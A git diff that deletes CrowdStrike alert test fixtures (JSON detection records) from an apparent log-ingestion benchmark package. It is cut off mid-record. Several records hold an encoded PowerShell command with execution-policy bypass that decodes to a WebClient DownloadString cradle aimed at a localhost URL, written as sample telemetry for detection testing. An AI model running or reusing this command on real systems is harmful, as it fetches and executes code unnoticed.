dd33e611c8b9e08a3b24ea4d755b81fd","type":"module"}],"local_process_id":"17076","logon_domain":"ABSYS","md5":"cdf9cfebb400ce89d5b6032bfcdc693b","name":"PrewittPupAdwareSensorDetect-Lowest","objective":"FalconDetectionMethod","parent_details":{"cmdline":"C:\\WINDOWS\\Explorer.EXE","filename":"explorer.exe","filepath":"\\Device\\HarddiskVolume3\\Windows\\explorer.exe","local_process_id":"1040","md5":"8cc3fcdd7d52d2d5221303c213e044ae","process_graph_id":"pid:2ce412d17b334ad4adc8c1c54dbfec4b:392736520876","process_id":"392736520876","sha256":"0b25d56bd2b4d8a6df45beff7be165117fbf7ba6ba2c07744f039143866335e4","timestamp":"2023-11-03T18:00:32Z","user_graph_id":"uid:2ce412d17b334ad4adc8c1c54dbfec4b:S-1-5-21-1909377054-3469629671-4104191496-4425","user_id":"S-1-5-21-1909377054-3469629671-4104191496-4425","user_name":"mohit.jha"},"parent_process_id":"392736520876","pattern_disposition":2176,"pattern_disposition_description":"Prevention/Quarantine,processwasblockedfromexecutionandquarantinewasattempted.","pattern_disposition_details":{"blocking_unsupported_or_disabled":false,"bootup_safeguard_enabled":false,"critical_process_disabled":false,"detect":false,"fs_operation_blocked":false,"handle_operation_downgraded":false,"inddet_mask":false,"indicator":false,"kill_action_failed":false,"kill_parent":false,"kill_process":false,"kill_subprocess":false,"operation_blocked":false,"policy_disabled":false,"process_blocked":true,"quarantine_file":true,"quarantine_machine":false,"registry_operation_blocked":false,"rooting":false,"sensor_only":false,"suspend_parent":false,"suspend_process":false},"pattern_id":5761,"platform":"Windows","poly_id":"AACSASiWEnxKlIIaw8LWC-8XINBatE2uYZaWqRAAATiEEfPFwhoY4opnh1CQjm0tvUQp4Lu5eOAx29ZVj-qrGrA==","process_end_time":"1699034421","process_id":"399748687993","process_start_time":"1699034413","product":"epp","quarantined_files":[{"filename":"\\Device\\Volume3\\Users\\yuvraj.mahajan\\AppData\\Local\\Temp\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\pfSenseFirewallOpenVPNClients\\Windows\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe","id":"2ce412d17b334ad4adc8c1c54dbfec4b_b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd","sha256":"b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd","state":"quarantined"}],"scenario":"NGAV","severity":30,"sha1":"0000000000000000000000000000000000000000","sha256":"b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd","show_in_ui":true,"source_products":["FalconInsight"],"source_vendors":["CrowdStrike"],"status":"new","tactic":"MachineLearning","tactic_id":"CSTA0004","technique":"Adware/PUP","technique_id":"CST0000","timestamp":"2023-11-03T18:00:22.328Z","tree_id":"1931778","tree_root":"38687993","triggering_process_graph_id":"pid:2ce4124ad4adc8c1c54dbfec4b:399748687993","type":"ldt","updated_timestamp":"2023-11-03T19:00:23.985007341Z","user_id":"S-1-5-21-1909377054-3469629671-4104191496-4425","user_name":"mohit.jha"}
-{"agent_id":"abcd1234abcd1234abcd12","aggregate_id":"","cid":"asdfasdfsadfasdfasdf","command_line":"powershell -nop -exec bypass -EncodedCommand QQBCAEMAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQAyADcALgAwAC4AMAAuADEAOgAxADIAMwA0ADUALwAnACkA","composite_id":"b1571642dd47ef39ab7930ff655b5fee:lead:42dd47ef39ab7930ff655b5feeb15716:2dd47ef39ab7930ff655b5fee5f87ab3","crawled_timestamp":"2024-11-07T20:49:59.12345678Z","created_timestamp":"2024-11-07T20:49:59.123432101Z","detect_type":"endpoint","host_name":"SOMEHOST","host_type":"Server","id":"lead:42dd47ef39ab7930ff655b5feeb15716:2dd47ef39ab7930ff655b5fee5f87ab3","image_file_name":"\\Device\\HarddiskVolume1\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe","operating_system":"Windows","pattern_id":97000,"poly_id":"CCsPIUqaBDazAOtSAoM7lq6mNa0VpOykjauHXxb2GDCIAAt9RxW1JGn1EjTE6TITrO9y8QA5VghO2K9xAIDbSfdGo30pFQ==","process_id":"123456789123","product":"overwatch","seconds_to_resolved":0,"seconds_to_triaged":0,"show_in_ui":true,"status":"new","tags":["ow/investigated","ow/resolution/benign"],"timestamp":"2024-11-07T20:47:22Z","tree_id":"12345678901","type":"lead","updated_timestamp":"2024-11-07T20:49:59.123432101Z"}
-{"name":"OTHERUSER on OTHERHOST","agent_id":"abcd1234abcd1234abcd12","aggregate_id":"","cid":"asdfasdfsadfasdfasdf","command_line":"powershell -nop -exec bypass -EncodedCommand QQBCAEMAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQAyADcALgAwAC4AMAAuADEAOgAxADIAMwA0ADUALwAnACkA","composite_id":"b1571642dd47ef39ab7930ff655b5fee:lead:42dd47ef39ab7930ff655b5feeb15716:2dd47ef39ab7930ff655b5fee5f87ab3","crawled_timestamp":"2024-11-07T20:49:59.12345678Z","created_timestamp":"2024-11-07T20:49:59.123432101Z","detect_type":"endpoint","host_name":"SOMEHOST","host_type":"Server","id":"lead:42dd47ef39ab7930ff655b5feeb15716:2dd47ef39ab7930ff655b5fee5f87ab3","image_file_name":"\\Device\\HarddiskVolume1\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe","operating_system":"Windows","pattern_id":97000,"poly_id":"CCsPIUqaBDazAOtSAoM7lq6mNa0VpOykjauHXxb2GDCIAAt9RxW1JGn1EjTE6TITrO9y8QA5VghO2K9xAIDbSfdGo30pFQ==","process_id":"123456789123","product":"overwatch","seconds_to_resolved":0,"seconds_to_triaged":0,"show_in_ui":true,"status":"new","tags":["ow/investigated","ow/resolution/benign"],"timestamp":"2024-11-07T20:47:22Z","tree_id":"12345678901","type":"lead","updated_timestamp":"2024-11-07T20:49:59.123432101Z"}
-{"name":"OTHERUSER on OTHERHOST","agent_id":"abcd1234abcd1234abcd12","aggregate_id":"","cid":"asdfasdfsadfasdfasdf","command_line":"powershell -nop -exec bypass -EncodedCommand QQBCAEMAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQAyADcALgAwAC4AMAAuADEAOgAxADIAMwA0ADUALwAnACkA","composite_id":"b1571642dd47ef39ab7930ff655b5fee:lead:42dd47ef39ab7930ff655b5feeb15716:2dd47ef39ab7930ff655b5fee5f87ab3","crawled_timestamp":"2024-11-07T20:49:59.12345678Z","created_timestamp":"2024-11-07T20:49:59.123432101Z","detect_type":"endpoint","user_name":"SOMEUSER","host_type":"Server","id":"lead:42dd47ef39ab7930ff655b5feeb15716:2dd47ef39ab7930ff655b5fee5f87ab3","image_file_name":"\\Device\\HarddiskVolume1\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe","operating_system":"Windows","pattern_id":97000,"poly_id":"CCsPIUqaBDazAOtSAoM7lq6mNa0VpOykjauHXxb2GDCIAAt9RxW1JGn1EjTE6TITrO9y8QA5VghO2K9xAIDbSfdGo30pFQ==","process_id":"123456789123","product":"overwatch","seconds_to_resolved":0,"seconds_to_triaged":0,"show_in_ui":true,"status":"new","tags":["ow/investigated","ow/resolution/benign"],"timestamp":"2024-11-07T20:47:22Z","tree_id":"12345678901","type":"lead","updated_timestamp":"2024-11-07T20:49:59.123432101Z"}
-{"name":"OTHERUSER on OTHERHOST","agent_id":"abcd1234abcd1234abcd12","aggregate_id":"","cid":"asdfasdfsadfasdfasdf","command_line":"powershell -nop -exec bypass -EncodedCommand QQBCAEMAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQAyADcALgAwAC4AMAAuADEAOgAxADIAMwA0ADUALwAnACkA","composite_id":"b1571642dd47ef39ab7930ff655b5fee:lead:42dd47ef39ab7930ff655b5feeb15716:2dd47ef39ab7930ff655b5fee5f87ab3","crawled_timestamp":"2024-11-07T20:49:59.12345678Z","created_timestamp":"2024-11-07T20:49:59.123432101Z","detect_type":"endpoint","user_name":"SOMEUSER","host_type":"Server","id":"lead:42dd47ef39ab7930ff655b5feeb15716:2dd47ef39ab7930ff655b5fee5f87ab3","image_file_name":"\\Device\\HarddiskVolume1\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe","operating_system":"Windows","pattern_id":97000,"poly_id":"CCsPIUqaBDazAOtSAoM7lq6mNa0VpOykjauHXxb2GDCIAAt9RxW1JGn1EjTE6TITrO9y8QA5VghO2K9xAIDbSfdGo30pFQ==","process_id":"123456789123","product":"overwatch","seconds_to_resolved":0,"seconds_to_triaged":0,"show_in_ui":true,"status":"new","tags":["ow/investigated","ow/resolution/benign"],"timestamp":"2024-11-07T20:47:22Z","tree_id":"12345678901","type":"lead","updated_timestamp":"2024-11-07T20:49:59.123432101Z", "prevented":true,"worker_node_name":"example"}
-{"agent_id":"7940b10993e844e398f83bd92aa92b8f","aggregate_id":"aggind:7940b10993e844e398f83bd92aa92b8f:17181460644","alleged_filetype":"exe","cid":"bdc3e3474d8848f1b8dcf41d41669a14","cloud_indicator":"false","cmdline":"cmd crowdstrike_test_informational","composite_id":"bdc3e3474d8848f1b8dcf41d41669a14:ind:7940b10993e844e398f83bd92aa92b8f:17942810918-10307-2282000","confidence":100,"context_timestamp":"2025-06-06T10:20:41.124Z","control_graph_id":"ctg:7940b10993e844e398f83bd92aa92b8f:17181460644","crawled_timestamp":"2025-06-06T10:21:45.624194206Z","created_timestamp":"2025-06-06T10:21:45.624178312Z","data_domains":["Endpoint"],"description":"An informational level detection was triggered on this process for testing purposes.","device":{"agent_load_flags":"1","agent_local_time":"2025-06-06T06:28:45.178Z","agent_version":"7.24.19607.0","bios_manufacturer":"Microsoft Corporation","bios_version":"Hyper-V UEFI Release v4.1","cid":"bdc3e3474d8848f1b8dcf41d41669a14","config_id_base":"65994767","config_id_build":"19607","config_id_platform":"3","device_id":"7940b10993e844e398f83bd92aa92b8f","external_ip":"81.2.69.144","first_seen":"2025-05-29T11:54:43Z","groups":["f3ba4e75244b4d06837c910a00bf80be"],"hostinfo":{"domain":""},"hostname":"raquel-win10-3","instance_id":"f60ebe5d-4967-48d8-9ce0-d1135b04e8d6","last_seen":"2025-06-06T09:44:59Z","local_ip":"10.0.0.13","mac_address":"60-45-bd-d2-d4-37","machine_domain":"","major_version":"10","minor_version":"0","modified_timestamp":"2025-06-06T10:18:32Z","os_version":"Windows 10","ou":null,"platform_id":"0","platform_name":"Windows","product_type":"1","product_type_desc":"Workstation","service_provider":"AZURE","service_provider_account_id":"7599433a-346d-4c25-b9d0-2948136c41f5","status":"normal","system_manufacturer":"Microsoft Corporation","system_product_name":"Virtual Machine"},"display_name":"TestTriggerInformational","email_sent":true,"falcon_host_link":"https://falcon.us-2.crowdstrike.com/activity-v2/detections/bdc3e3474d8848f1b8dcf41d41669a14:ind:7940b10993e844e398f83bd92aa92b8f:17942810918-10307-2282000?_cid=g040006rwb4alvhren7gw2yl7qja76ge","filename":"cmd.exe","filepath":"\\Device\\HarddiskVolume4\\Windows\\System32\\cmd.exe","global_prevalence":"common","grandparent_details":{"cmdline":"cmd crowdstrike_test_medium","filename":"cmd.exe","filepath":"\\Device\\HarddiskVolume4\\Windows\\System32\\cmd.exe","local_process_id":"2796","md5":"2b40c98ed0f7a1d3b091a3e8353132dc","process_graph_id":"pid:7940b10993e844e398f83bd92aa92b8f:17938741315","process_id":"17938741315","sha256":"badf4752413cb0cbdc03fb95820ca167f0cdc63b597ccdb5ef43111180e088b0","timestamp":"2025-06-06T10:20:21Z","user_graph_id":"uid:7940b10993e844e398f83bd92aa92b8f:S-1-5-21-2765107603-2663188678-2286454264-500","user_id":"S-1-5-21-2765107603-2663188678-2286454264-500","user_name":"win10_user3"},"id":"ind:7940b10993e844e398f83bd92aa92b8f:17942810918-10307-2282000","indicator_id":"ind:7940b10993e844e398f83bd92aa92b8f:17942810918-10307-2282000","ioc_context":[],"local_prevalence":"unique","local_process_id":"6028","logon_domain":"raquel-win10-3","md5":"2b40c98ed0f7a1d3b091a3e8353132dc","name":"DemoInformationalPattern","objective":"Falcon Detection Method","parent_details":{"cmdline":"cmd crowdstrike_test_low","filename":"cmd.exe","filepath":"\\Device\\HarddiskVolume4\\Windows\\System32\\cmd.exe","local_process_id":"4840","md5":"2b40c98ed0f7a1d3b091a3e8353132dc","process_graph_id":"pid:7940b10993e844e398f83bd92aa92b8f:17940808135","process_id":"17940808135","sha256":"badf4752413cb0cbdc03fb95820ca167f0cdc63b597ccdb5ef43111180e088b0","timestamp":"2025-06-06T10:20:32Z","user_graph_id":"uid:7940b10993e844e398f83bd92aa92b8f:S-1-5-21-2765107603-2663188678-2286454264-500","user_id":"S-1-5-21-2765107603-2663188678-2286454264-500","user_name":"win10_user3"},"parent_process_id":"17940808135","pattern_disposition":0,"pattern_disposition_description":"Detection, standard detection.","pattern_disposition_details":{"blocking_unsupported_or_disabled":false,"bootup_safeguard_enabled":false,"containment_file_system":false,"critical_process_disabled":false,"detect":false,"fs_operation_blocked":false,"handle_operation_downgraded":false,"inddet_mask":false,"indicator":false,"kill_action_failed":false,"kill_parent":false,"kill_process":false,"kill_subprocess":false,"mfa_required":false,"operation_blocked":false,"policy_disabled":false,"prevention_provisioning_enabled":false,"process_blocked":false,"quarantine_file":false,"quarantine_machine":false,"registry_operation_blocked":false,"response_action_already_applied":false,"response_action_failed":false,"response_action_triggered":false,"rooting":false,"sensor_only":false,"suspend_parent":false,"suspend_process":false},"pattern_id":10307,"platform":"Windows","poly_id":"AAC9w-NHTYhI8bjc9B1BZpoUC8NRDif9GuRVWSpmJEpq1wAATiEP-U3SmU9-dQC7n0vA5khCWzV6y19TAH4ibeyfgOILFw==","priority_explanation":["[MOD] The severity of the detection: Informational"],"priority_value":10,"process_id":"17942810918","process_start_time":"1749205241","product":"epp","scenario":"suspicious_activity","seconds_to_resolved":0,"seconds_to_triaged":0,"severity":10,"severity_name":"Informational","sha1":"0000000000000000000000000000000000000000","sha256":"badf4752413cb0cbdc03fb95820ca167f0cdc63b597ccdb5ef43111180e088b0","show_in_ui":true,"source_products":["Falcon Insight"],"source_vendors":["CrowdStrike"],"status":"new","tactic":"Falcon Overwatch","tactic_id":"CSTA0006","technique":"Malicious Activity","technique_id":"CST0002","template_instance_id":"1339","timestamp":"2025-06-06T10:20:41.789Z","tree_id":"17181460644","tree_root":"17934037600","triggering_process_graph_id":"pid:7940b10993e844e398f83bd92aa92b8f:17942810918","type":"ldt","updated_timestamp":"2025-06-06T10:21:50.710758858Z","user_id":"S-1-5-21-2765107603-2663188678-2286454264-500","user_name":"win10_user3"}
diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/alert/_dev/test/pipeline/test-alert.log b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/alert/_dev/test/pipeline/test-alert.log
deleted file mode 100644
index c2a5a0f28b..0000000000
--- a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/alert/_dev/test/pipeline/test-alert.log
+++ /dev/null
@@ -1,11 +0,0 @@
-{"agent_id":"2ce412d17b334ad4adc8c1c54dbfec4b","aggregate_id":"aggind:2ce412d17b334ad4adc8c1c54dbfec4b:163208931778","alleged_filetype":"exe","cid":"92012896127c4a948236ba7601b886b0","cloud_indicator":"false","cmdline":"\"C:\\Users\\yuvraj.mahajan\\AppData\\Local\\Temp\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\pfSenseFirewallOpenVPNClients\\Windows\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe\"","composite_id":"92012896127c4a8236ba7601b886b0:ind:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993-5761-42627600","confidence":10,"context_timestamp":"2023-11-03T18:00:31Z","control_graph_id":"ctg:2ce4127b334ad4adc8c1c54dbfec4b:163208931778","crawl_edge_ids":{"Sensor":["KZcZ=__;K&cmqQ]Z=W,QK4W.9(rBfs\\gfmjTblqI^F-_oNnAWQ&-o0:dR/>>2J<d2T/ji6R&RIHe-tZSkP*q?HW;:leq.:kk)>IVMD36[+=kiQDRm.bB?;d\"V0JaQlaltC59Iq6nM?6`>ZAs+LbOJ9p9A;9'WV9^H3XEMs8N","KZcZA__;?\"cmott@m_k)MSZ^+C?.cg<Lga#0@71X07*LY2teE56*16pL[=!bjF7g@0jOQE'jT6RX_F@sr#RP-U/d[#nm9A,A,W%cl/T@<W`alY1K_h%QDBBF;_e7S!!*'!","KZd)iK2;s\\ckQl_P*d=Mo?^a7/JKc\\*L48169!7I5;0\\<H^hNG\"ZQ3#U3\"eo<>92t[f!>*b9WLY@H!V0N,BJsNSTD:?/+fY';e<OHh9AmlT?5<gGqK:*L99kat+P)eZ$HR\"Ql@Q!!!$!rr","N6=Ks_B9Bncmur)?\\[fV$k/N5;:6@aB$P;R$2XAaPJ?E<G5,UfaP')8#2AY4ff+q?T?b0/RBi-YAeGmb<6Bqp[DZh#I(jObGkjJJaMf\\:#mb;BM\\L[g!\\F*M!!*'!","N6B%O`'=_7d#%u&d[+LTNDs<3307?8n=GrFI:4YYGCL,cIt-Tuj!&<6:3RbC`uNjL#gW&=)E`4^/'fp*.bFX@p_$,R6.\"=lV*T*5Vf`c.:nkd$+YD:DJ,Ls0[sArC')K%YTc$:@kUQW5s8N","N6B%s!\\k)ed$F6>a%iM\"<FTSe/eH8M:<9gf;$$.b??kpC*99aX!Lq:g6:Q3@Ga4Zrb@MaMa]L'YAt$IFBu])\"H^sF$r7gDPf6&CHpVKO3<DgK9,Y/e@V\"b&m!<<'","N6CU&`%VT\"d$=67=h\\I)/BJH:8-lS!.%\\-!$1@bAhtVO?q4]9'9'haE4N0*-0Uh'-'f',YW3]T=jL3D#N=fJi]Pp-bWej+R9q[%h[p]p26NK8q3b50k9G:.&eM<Qer>__\"59K'R?_=`'`rK/'hA\"r+L5i-*Ut5PI!!*'!","N6CUF__;K!d$:[C93.?=/5(`5KnM]!L#UbnSY5HOHc#[6A&FE;(naXB4h/OG\"%MDAR=fo41Z]rXc\"J-\\&&V8UW.?I6V*G+,))Ztu_IuCMV#ZJ:QDJ_EjQmjiX#HENY'WD0rVAV$Gl6_+0e:2$8D)):.LUs+8-S$L!!!$!rr","N6CUF__;K!d$:\\N43JV0AO56@6D0$!na(s)d.dQ'iI1*uiKt#j?r\"X'\\AtNML2_C__7ic6,8Dc[F<0NTUGtl%HD#?/Y)t8!1X.;G!*FQ9GP-ukQn`6I##&$^81(P+hN*-#rf/cUs)Wb\"<_/?I'[##WMh'H[Rcl+!!<<'","N6L[G__;K!d\"qhT7k?[D\"Bk:5s%+=>#DM0j$_<r/JG0TCEQ!Ug(be3)&R2JnX+RSqorgC-NCjf6XATBWX(5<L1J1DV>44ZjO9q*d!YLuHhkq!3>3tpi>OPYZp9]5f1#/AlRZL06`/I6cl\"d.&=To@9kS!prs8N"]},"crawl_vertex_ids":{"Sensor":["aggind:2ce412d17b334ad4adc8c1c54dbfec4b:163208931778","ctg:2ce412d17b334ad4adc8c1c54dbfec4b:163208931778","ind:2ce412d17b34ad4adc8c1c54dbfec4b:399748687993-5761-42627600","mod:2ce412d17b4ad4adc8c1c54dbfec4b:0b25d56bd2b4d8a6df45beff7be165117fbf7ba6ba2c07744f039143866335e4","mod:2ce412d17b4ad4adc8c1c54dbfec4b:b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd","mod:2ce412d17b334ad4adc8c1c54dbfec4b:caef4ae19056eeb122a0540508fa8984cea960173ada0dc648cb846d6ef5dd33","pid:2ce412d17b33d4adc8c1c54dbfec4b:392734873135","pid:2ce412d17b334ad4adc8c1c54dbfec4b:392736520876","pid:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993","quf:2ce412d17b334ad4adc8c1c54dbfec4b:b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd","uid:2ce412d17b334ad4adc8c1c54dbfec4b:S-1-5-21-1909377054-3469629671-4104191496-4425"]},"crawled_timestamp":"2023-11-03T19:00:23.985020992Z","created_timestamp":"2023-11-03T18:01:23.995794943Z","data_domains":["Endpoint"],"description":"ThisfilemeetstheAdware/PUPAnti-malwareMLalgorithm'slowest-confidencethreshold.","device":{"agent_load_flags":"0","agent_local_time":"2023-10-12T03:45:57.753Z","agent_version":"7.04.17605.0","bios_manufacturer":"ABC","bios_version":"F8CN42WW(V2.05)","cid":"92012896127c4a948236ba7601b886b0","config_id_base":"65994763","config_id_build":"17605","config_id_platform":"3","device_id":"2ce412d17b334ad4adc8c1c54dbfec4b","external_ip":"81.2.69.142","first_seen":"2023-04-07T09:36:36Z","groups":["18704e21288243b58e4c76266d38caaf"],"hostinfo":{"active_directory_dn_display":["WinComputers","WinComputers\\ABC"],"domain":"ABC.LOCAL"},"hostname":"ABC709-1175","last_seen":"2023-11-03T17:51:42Z","local_ip":"81.2.69.142","mac_address":"ab-21-48-61-05-b2","machine_domain":"ABC.LOCAL","major_version":"10","minor_version":"0","modified_timestamp":"2023-11-03T17:53:43Z","os_version":"Windows11","ou":["ABC","WinComputers"],"platform_id":"0","platform_name":"Windows","pod_labels":null,"product_type":"1","product_type_desc":"Workstation","site_name":"Default-First-Site-Name","status":"normal","system_manufacturer":"LENOVO","system_product_name":"20VE"},"falcon_host_link":"https://falcon.us-2.crowdstrike.com/activity-v2/detections/dhjffg:ind:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993-5761-42627600","filename":"openvpn-abc-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe","filepath":"\\Device\\HarddiskVolume3\\Users\\yuvraj.mahajan\\AppData\\Local\\Temp\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\pfSenseFirewallOpenVPNClients\\Windows\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe","grandparent_details":{"cmdline":"C:\\Windows\\system32\\userinit.exe","filename":"userinit.exe","filepath":"\\Device\\HarddiskVolume3\\Windows\\System32\\userinit.exe","local_process_id":"4328","md5":"b07f77fd3f9828b2c9d61f8a36609741","process_graph_id":"pid:2ce412d17b334ad4adc8c1c54dbfec4b:392734873135","process_id":"392734873135","sha256":"caef4ae19056eeb122a0540508fa8984cea960173ada0dc648cb846d6ef5dd33","timestamp":"2023-10-30T16:49:19Z","user_graph_id":"uid:2ce412d17b334ad4adc8c1c54dbfec4b:S-1-5-21-1909377054-3469629671-4104191496-4425","user_id":"S-1-5-21-1909377054-3469629671-4104191496-4425","user_name":"yuvraj.mahajan"},"has_script_or_module_ioc":"true","id":"ind:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993-5761-42627600","indicator_id":"ind:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993-5761-42627600","ioc_context":[{"ioc_description":"\\Device\\HarddiskVolume3\\Users\\yuvraj.mahajan\\AppData\\Local\\Temp\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\pfSenseFirewallOpenVPNClients\\Windows\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe","ioc_source":"library_load","ioc_type":"hash_sha256","ioc_value":"b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd","md5":"cdf9cfebb400ce89d5b6032bfcdc693b","sha256":"b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd","type":"module"}],"ioc_values":[],"is_synthetic_quarantine_disposition":true,"local_process_id":"17076","logon_domain":"ABSYS","md5":"cdf9cfebb400ce89d5b6032bfcdc693b","name":"PrewittPupAdwareSensorDetect-Lowest","objective":"FalconDetectionMethod","overwatch_note":"Activity Notice: OverWatch has observed XYZ","overwatch_note_timestamp":"2025-03-01T15:31:00Z","parent_details":{"cmdline":"C:\\WINDOWS\\Explorer.EXE","filename":"explorer.exe","filepath":"\\Device\\HarddiskVolume3\\Windows\\explorer.exe","local_process_id":"1040","md5":"8cc3fcdd7d52d2d5221303c213e044ae","process_graph_id":"pid:2ce412d17b334ad4adc8c1c54dbfec4b:392736520876","process_id":"392736520876","sha256":"0b25d56bd2b4d8a6df45beff7be165117fbf7ba6ba2c07744f039143866335e4","timestamp":"2023-11-03T18:00:32Z","user_graph_id":"uid:2ce412d17b334ad4adc8c1c54dbfec4b:S-1-5-21-1909377054-3469629671-4104191496-4425","user_id":"S-1-5-21-1909377054-3469629671-4104191496-4425","user_name":"mohit.jha"},"parent_process_id":"392736520876","pattern_disposition":2176,"pattern_disposition_description":"Prevention/Quarantine,processwasblockedfromexecutionandquarantinewasattempted.","pattern_disposition_details":{"blocking_unsupported_or_disabled":false,"bootup_safeguard_enabled":false,"critical_process_disabled":false,"detect":false,"fs_operation_blocked":false,"handle_operation_downgraded":false,"inddet_mask":false,"indicator":false,"kill_action_failed":false,"kill_parent":false,"kill_process":false,"kill_subprocess":false,"operation_blocked":false,"policy_disabled":false,"process_blocked":true,"quarantine_file":true,"quarantine_machine":false,"registry_operation_blocked":false,"rooting":false,"sensor_only":false,"suspend_parent":false,"suspend_process":false},"pattern_id":5761,"platform":"Windows","poly_id":"AACSASiWEnxKlIIaw8LWC-8XINBatE2uYZaWqRAAATiEEfPFwhoY4opnh1CQjm0tvUQp4Lu5eOAx29ZVj-qrGrA==","process_end_time":"1699034421","process_id":"399748687993","process_start_time":"1699034413","product":"epp","quarantined_files":[{"filename":"\\Device\\Volume3\\Users\\yuvraj.mahajan\\AppData\\Local\\Temp\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\pfSenseFirewallOpenVPNClients\\Windows\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe","id":"2ce412d17b334ad4adc8c1c54dbfec4b_b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd","sha256":"b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd","state":"quarantined"}],"rule_group_id":"1b27b7f123c44e15a13fe7f44801d123","rule_group_name":"Windows Group","rule_instance_created_by":"myuser@mydomain.com","rule_instance_id":"123","rule_instance_name":"INSTANCE-1","rule_instance_version":"1","scenario":"NGAV","severity":30,"sha1":"0000000000000000000000000000000000000000","sha256":"b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd","show_in_ui":true,"source_products":["FalconInsight"],"source_vendors":["CrowdStrike"],"status":"new","tactic":"MachineLearning","tactic_id":"CSTA0004","technique":"Adware/PUP","technique_id":"CST0000","timestamp":"2023-11-03T18:00:22.328Z","tree_id":"1931778","tree_root":"38687993","triggering_process_graph_id":"pid:2ce4124ad4adc8c1c54dbfec4b:399748687993","type":"ldt","updated_timestamp":"2023-11-03T19:00:23.985007341Z","user_id":"S-1-5-21-1909377054-3469629671-4104191496-4425","user_name":"mohit.jha"}
-{"agent_id":"38293534662e48c99f33c61631b3536d","aggregate_id":"aggind:4446934rf3fdb64ec3056ddfb96e:5876E98F-D91B-48AC-8FFC-1191C663A1E9","cid":"4446934rf3fdb64ec3056ddfb96e","composite_id":"874694c2ff8c43fdb64ef3056ddfb96d:ind:4446934rf3fdb64ec3056ddfb96e:5876E98F-D91B-48AC-8FFC-1191C663A1E9","confidence":80,"context_timestamp":"2024-08-16T18:43:44.242Z","crawled_timestamp":"2024-08-16T18:49:02.798354466Z","created_timestamp":"2024-08-16T18:45:02.987127397Z","data_domains":["Identity"],"description":"A user denied a policy identity verification request","display_name":"Identity verification denied","end_time":"2024-08-16T18:43:44.242Z","falcon_host_link":"https://falcon.crowdstrike.com/identity-protection/detections/4446934rf3fdb64ec3056ddfb96e:ind:4446934rf3fdb64ec3056ddfb96e:5876E98F-D91B-48AC-8FFC-1191C663A1E9?_cid=g0300034lfy3zjobdz7ewb4xjqyjsy5a","id":"ind:4446934rf3fdb64ec3056ddfb96e:5876E98F-D91B-48AC-8FFC-1191C663A1E9","idp_policy_mfa_factor_type":"32769","idp_policy_mfa_provider":"14","idp_policy_rule_id":"1B82F2DE-2A08-49E0-8F85-AD46996F9A65","idp_policy_rule_name":"admin - RDP Access to TIER-0 Servers","name":"IdpPolicyIdentityVerificationDenied","objective":"Gain 